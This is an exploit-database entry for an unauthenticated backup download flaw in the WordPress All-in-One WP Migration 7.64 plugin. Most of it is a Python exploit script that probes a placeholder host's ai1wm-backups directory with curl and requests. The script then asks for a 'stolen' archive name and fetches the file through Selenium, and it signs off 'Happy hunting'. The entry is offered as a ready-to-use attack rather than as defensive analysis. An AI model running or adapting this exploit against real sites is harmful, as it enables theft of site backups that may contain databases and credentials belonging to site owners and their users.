Lucene search

K
zdtNu11secur1ty1337DAY-ID-37939
HistorySep 05, 2022 - 12:00 a.m.

WordPress All-in-One WP Migration 7.64 plugin - Unauthenticated Backup Download Exploit

2022-09-0500:00:00
nu11secur1ty
0day.today
485
wordpress
all-in-one-wp-migration-7.64
unauthenticated backup download
low-protection-file-disclosure
vendor servmask
software
directory access
vulnerability
exploit
proof
## Title: All-in-One-WP-Migration-7.64 low-protection-file-disclosure - Unauthenticated Backup Download 
## Author: nu11secur1ty
## Date: 09.01.2022
## Vendor: https://servmask.com/
## Software: https://wordpress.org/plugins/all-in-one-wp-migration/
## Reference: https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/WordPress/2022/All-in-One-WP-Migration


## Description:
The All-in-One-WP-Migration-7.64 suffers from low-protection-file-disclosure - Unauthenticated Backup Download.
The attacker can hit some directory with some strong customizing fuzzing software, and he can download 
very sensitive information about this system, it depends on the case. 
WARNING! This vulnerability can be VERY DANGEROUS!

Status: Medium-HIGH

[+] Exploit:

```python
#!/usr/bin/python
# Author nu11secur1ty
from selenium import webdriver
import time
import os
from colorama import init, Fore, Back, Style
init(convert=True)
import requests

target='http://pwnedhost.com/wordpress/wp-content/ai1wm-backups/'
print("Test if you can access the directory\n")
time.sleep(3)

print(Fore.GREEN +"Please wait...\n")
print(Style.RESET_ALL)
time.sleep(5)
print(Fore.BLUE +"The Access status of the directory is...\n")
print(Style.RESET_ALL)
print(Fore.YELLOW +"The Access status of the directory is...\n")
dir_check = os.system('curl -I -v -c cookie -b cookie http://pwnedhost.com/wordpress/wp-content/ai1wm-backups/')
print(Style.RESET_ALL)

status = requests.get(target)
print(Fore.BLUE+"ATTENTION! The status of the code for accessing the directory is:",status)
print(Style.RESET_ALL)

if status.status_code == 200:
    print(Fore.RED +"The Access status of the directory is lowlily protected...")
    print(Style.RESET_ALL)
else:
    print(Fore.RED +"The Access status of the directory is strongly protected...\n")
    print(Style.RESET_ALL)
    
stolen_archive=input("Give the stolen name of the archive...\n")
driver = driver = webdriver.Firefox()
driver.get('http://pwnedhost.com/wordpress/wp-content/ai1wm-backups/' + stolen_archive)

print(Fore.RED +"Happy hunting with nu11secur1ty =)")
print(Style.RESET_ALL)

```

## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/WordPress/2022/All-in-One-WP-Migration)

## Proof and Exploit:
[href](https://streamable.com/m3xcxv)